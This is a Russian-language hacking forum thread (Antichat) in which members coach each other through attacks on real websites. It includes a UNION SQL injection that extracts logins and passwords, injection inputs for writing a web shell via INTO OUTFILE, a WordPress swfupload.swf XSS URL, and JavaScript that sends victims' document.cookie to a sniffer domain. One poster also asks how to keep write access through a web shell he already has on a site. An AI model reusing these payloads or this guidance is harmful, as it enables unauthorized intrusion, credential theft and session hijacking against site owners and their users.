Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Oops, не заглянул в мануал, функция сильно устаревшая.
    У вас БД какой версии? Для MySQL 5 и 4:
    Code:
    FF: (пусто)
    GG: 1 and 0 UNION SELECT concat(login, 0x3A, pass), 2, 3, 4 FROM users LIMIT 1
    
     
  2. Rextor

    Rextor New Member

    Joined:
    26 Feb 2014
    Messages:
    40
    Likes Received:
    2
    Reputations:
    4
    Если верить данным исполняемого файла (при условии, что я правильно понял; он был скачен и просмотрен в текстовом редакторе), то 5.1.67.

    Для MySQL 5.4 или для MySQL 4.х и MySQL 5.х?


    -- (Из прошлого моего комментария, т.к. ответ появился раньше, чем я дописал изменение) --

    Если это поможет, то вот как формируется запрос (имена я изменил по ряду причин). Значения OUT_A и OUT_B выводятся в файл, а входные параметры $p_ina и $p_inb поддаются инъекции.

    Code:
    $sql  = "select OUT_A, concat(NN1, ' ', NN2) as nn, OUT_B, LL";
    $sql .= "from TABLE ";
    $sql .= " where DD = 0";
    $sql .= " and IN_A = '".$p_ina."'";
    $sql .= " and IN_B = '".$p_inb."'";
    $sql .= " and DDD = 1";
    $this -> select_from_db($sql, $out_data);
    Забыл, что в конце запроса был 4й входной параметр, но, я так полагаю, его можно просто закомментировать и его наличие ни на что не влияет.


    UPD: после некоторых раздумий, я смог осознать предложенную механику, и мне таки удалось сделать по другому полю таблицы (и вероятно не проблема сделать запрос к другой таблице вообще). Спасибо за совет!
     
    #23102 Rextor, 1 Mar 2014
    Last edited: 1 Mar 2014
  3. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Где в RoundCube находится config файл который отвечает за коннект к БД?
     
  4. Rextor

    Rextor New Member

    Joined:
    26 Feb 2014
    Messages:
    40
    Likes Received:
    2
    Reputations:
    4
    Если не сложно, нужно еще немного помощи.

    Пробую залить первичный шелл через SQL инъекцию, но не получается, запрос, судя по всему, выдает ошибку. Варианта два - либо нет прав на запись файла в директорию сайта (не думаю, что в этом дело) или, самое вероятное, проблему создает хвост запроса - " and DDD = 1". Если в случае обычного запроса к таблицам можно было избавиться от хвоста, написав запрос, который объединяет три подзапроса через union, где первый и третий использовались лишь для замыкания конструкций по обе стороны от места инъекции, а главная работа происходила во втором, то сейчас такой трюк не сработает, будет выдавать "Incorrect usage of UNION and INTO". Попытка закомментировать хвост через ;# или # не дает эффекта.

    Код:
    Code:
    $sql  = "select OUT_A, concat(NN1, ' ', NN2) as nn, OUT_B, LL";
    $sql .= "from TABLE ";
    $sql .= " where DD = 0";
    $sql .= " and IN_A = '".$p_ina."'";
    $sql .= " and IN_B = '".$p_inb."'";
    $sql .= " and DDD = 1";
    $this -> select_from_db($sql, $out_data);
    Входные значение пробовал такие:

    $p_ina - 1
    $p_ina - ' union select OUT_A,2,3,4 from TABLE where OUT_A = 123 union select 1,2,3,4 into outfile 'tmp'#

    Как добиться выполнения запроса - пока нет никаких идей.


    UPD: решил проверить, а работает ли комментирование хвоста через # для обычного запроса. Как оказалось, работает (потому я упростил вышенаписанное значение переменной в соответствии с ситуацией). В таком случае, запрос на запись файла не работает по каким-то другим причинам. Что интересно, что если удалить подчеркнутую часть, тем самым оставив лишь запрос на получение данных из таблицы, то работает. Такое ощущение, что у mysql нет прав на запись файлов, даже в собственном каталоге - такое может быть?
     
    #23104 Rextor, 2 Mar 2014
    Last edited: 2 Mar 2014
  5. CoolHucker

    CoolHucker New Member

    Joined:
    12 Feb 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    Привет всем)Вот результат пентеста.Кто чё скажет?
     
    #23105 CoolHucker, 2 Mar 2014
    Last edited: 2 Mar 2014
  6. Rextor

    Rextor New Member

    Joined:
    26 Feb 2014
    Messages:
    40
    Likes Received:
    2
    Reputations:
    4
    Проверив все, что пришло в голову, я попал в тупик. Учетная запись в mysql по всей видимости очень урезана, из-за чего я не могу производить запись в файл. Я пробовал вывести список того, какие права ей даны, но максимум, что мне показывает, так это "USAGE:NO", других видов прав как будто не существует (даже если строго задать запрос на показ значения, наприме для FILE). Доступа к mysql.user конечно же у меня нет, а чтение grantee из information_schema.user_privileges показывает лишь мой используемый аккаунт.

    Помимо этой sql инъекции есть php инъекция на чтение файлов (не root). Пробовал найти места страниц на исполнение кода, но в программе нигде не используются eval, exec, shell_exec, возможности инъекции в include/require тоже не смог найти (плюс, запрещено подключение файлов извне сервера, так что если вдруг, то только локально), и ко всему прочему ко многим глобальным переменным, как $_SESSION, $_GET, $_POST, $_REQUEST, применяется mysql_real_escape_string, strip_tags, htmlspecialchars (я же использую упущение при необработке cookies). Доступ к админ панели закрыт путем ограничения по списку допустимых IP адресов через $_SERVER['REMOTE_ADDR']. Быть может есть уязвимости в каких-то других файлах сайта, но получить список файлов я не могу, и потому приходится довольствоваться лишь тем, что было найдено в виде упоминаний в известных страницах плюс свои догадки о существовании страниц/файлов.

    По правде говоря, у меня закончились идеи, как можно было бы попытаться залить шелл. Не то, что бы я собирался что-то делать с сайтом, мне интересна сама возможность получить доступ к серверу как факт (это моя первая попытка в области взлома сайтов, потому очень хочется добиться хорошего результата). Если у кого-нибудь есть идеи, что можно было бы еще попытаться предпринять, буду рад услышать.
     
  7. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    вопрос про параметри limit
    в таблице 300 записей, как указать параметр limit, чтобы все данные отобразились сразу
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    чтобы все отобразились лимит вобще не нужен
     
  9. Sum.cogitans

    Sum.cogitans Elder - Старейшина

    Joined:
    7 Sep 2013
    Messages:
    173
    Likes Received:
    32
    Reputations:
    19
    limit 0, 300
    Первое число, с какой строки начинать выборку
    Второе кол-во выводимых строк
     
  10. Rextor

    Rextor New Member

    Joined:
    26 Feb 2014
    Messages:
    40
    Likes Received:
    2
    Reputations:
    4
    Можно ли каким-либо образом через SQL инъекцию, которая обрабатывается через mysql_db_query (PHP), выполнить SET операцию? Поскольку на group_concat по умолчанию стоит ограничение длины результата в 1024 символа, вытаскивать данные такими мелкими порциями очень ресурсо/времязатратно, потому хотелось бы попытаться выполнить "set group_concat_max_len = 100500".
     
  11. CoolHucker

    CoolHucker New Member

    Joined:
    12 Feb 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    Xss Подскажите как раскрутить уязвимость) ;)
     
  12. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Ищешь уязвимый сайт => подставляешь JS код.
     
  13. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Он имеет ввиду атака через уязвимый flash плагин, но там показан пример ниже
     
  14. CoolHucker

    CoolHucker New Member

    Joined:
    12 Feb 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    это понятно)прописываю
    Code:
    http://site/wp-includes/js/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28document.cookie%29;//
    даёт мои куки,как я понял.затем написано undefined кликаю,открывается окно заливки файлов..Но что нужно залить?непосредственно js со сниффером?
     
    #23114 CoolHucker, 3 Mar 2014
    Last edited: 3 Mar 2014
  15. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Ну в интернете тема с XSS изъезженна.
    Примитивный JS код:

    Code:
    img = new Image();
    img.src = "http://доменсниффера.ру/сниффер.gif?"+document.cookie;
     
  16. CoolHucker

    CoolHucker New Member

    Joined:
    12 Feb 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    Не пинай чайника) нужно залить файл с расширением js,в котором написан этот скрипт)так?
     
  17. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Если ты можешь залить .html файл с JS кодом и картинкой сниффера - б-га ради.
    А так нужно выполнить код в рамках XSS (Именно там где алерт).
     
  18. CoolHucker

    CoolHucker New Member

    Joined:
    12 Feb 2013
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    почитал)вроде понял)благодарю
     
  19. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Подскажите.
    Имею шелл на сайте, все права и папки закрытые на запись, но все файлы (и папки) принадлежат пользователю apache, то есть тот же пользователь что и например веб шелл.
    На сервере выключены системные команд, и в disable functions стоит функция chmod()
    Что можно сделать в данной ситуации, чтобы файлы были снова врайтабельными?
     
  20. UXOR

    UXOR Member

    Joined:
    16 Aug 2013
    Messages:
    44
    Likes Received:
    7
    Reputations:
    6
    как вариант попробовать изменить дефолтное значение чмод, которая описана вроде в системном файле <cstdlib>
     
Thread Status:
Not open for further replies.